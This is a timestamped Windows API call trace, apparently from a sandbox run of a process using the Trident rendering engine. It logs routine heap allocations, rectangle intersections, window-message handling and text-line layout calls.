[0117.100] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.100] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.100] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.100] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.100] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.101] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.101] LsSetDoc () returned 0x0
[0117.101] LsCreateLine () returned 0x0
[0117.101] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.101] LsDestroyLine () returned 0x0
[0117.101] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.101] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.101] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.101] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.101] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.101] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.101] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.101] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.101] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.101] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.101] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.102] LsSetDoc () returned 0x0
[0117.102] LsCreateLine () returned 0x0
[0117.102] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.102] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.102] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.102] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.102] LsdnFinishRegular () returned 0x0
[0117.102] LsQueryLinePointPcp () returned 0x0
[0117.102] LsDestroyLine () returned 0x0
[0117.102] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.103] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.103] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.103] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.103] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.103] GetCursor () returned 0x10005
[0117.103] GetCurrentThreadId () returned 0x4e0
[0117.103] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.103] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.103] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.103] GetMessageTime () returned 43165
[0117.104] GetMessagePos () returned 0x1c4031f
[0117.104] GetCapture () returned 0x0
[0117.104] GetCurrentThreadId () returned 0x4e0
[0117.104] GetCurrentThreadId () returned 0x4e0
[0117.104] GetCurrentThreadId () returned 0x4e0
[0117.104] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.104] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.104] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.104] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.104] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.104] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.104] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.104] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.104] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.104] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.104] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.104] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.104] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.105] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.105] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.105] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.105] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.105] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.105] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.105] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.105] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.105] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.105] LsSetDoc () returned 0x0
[0117.105] LsCreateLine () returned 0x0
[0117.105] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.105] LsDestroyLine () returned 0x0
[0117.105] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.105] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.105] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.105] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.106] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.106] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.106] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.106] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.106] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.106] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.106] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.106] LsSetDoc () returned 0x0
[0117.106] LsCreateLine () returned 0x0
[0117.106] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.106] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.106] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.106] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.106] LsdnFinishRegular () returned 0x0
[0117.107] LsQueryLinePointPcp () returned 0x0
[0117.107] LsDestroyLine () returned 0x0
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.107] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.107] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.107] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.107] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.108] GetCurrentThreadId () returned 0x4e0
[0117.108] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.108] NtdllDefWindowProc_W () returned 0x0
[0117.108] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.108] GetCurrentThreadId () returned 0x4e0
[0117.108] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.108] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.108] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.108] GetCurrentThreadId () returned 0x4e0
[0117.108] GetCurrentThreadId () returned 0x4e0
[0117.108] GetCurrentThreadId () returned 0x4e0
[0117.108] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.109] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.109] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.109] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.109] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.109] GetCurrentThreadId () returned 0x4e0
[0117.109] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.109] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.109] GetMessageTime () returned 43165
[0117.109] GetMessagePos () returned 0x1c4031f
[0117.109] GetCapture () returned 0x0
[0117.109] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.109] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.109] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.109] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.109] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.109] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.109] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.109] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.110] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.110] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.110] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.110] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.110] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.110] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.110] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.110] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.110] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.110] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.110] LsSetDoc () returned 0x0
[0117.110] LsCreateLine () returned 0x0
[0117.110] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.111] LsDestroyLine () returned 0x0
[0117.111] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.111] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.111] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.111] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.111] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.111] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.111] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.111] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.111] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.111] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.111] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.111] LsSetDoc () returned 0x0
[0117.111] LsCreateLine () returned 0x0
[0117.111] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.112] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] LsdnFinishRegular () returned 0x0
[0117.112] LsQueryLinePointPcp () returned 0x0
[0117.112] LsDestroyLine () returned 0x0
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.112] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.113] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.113] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.113] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
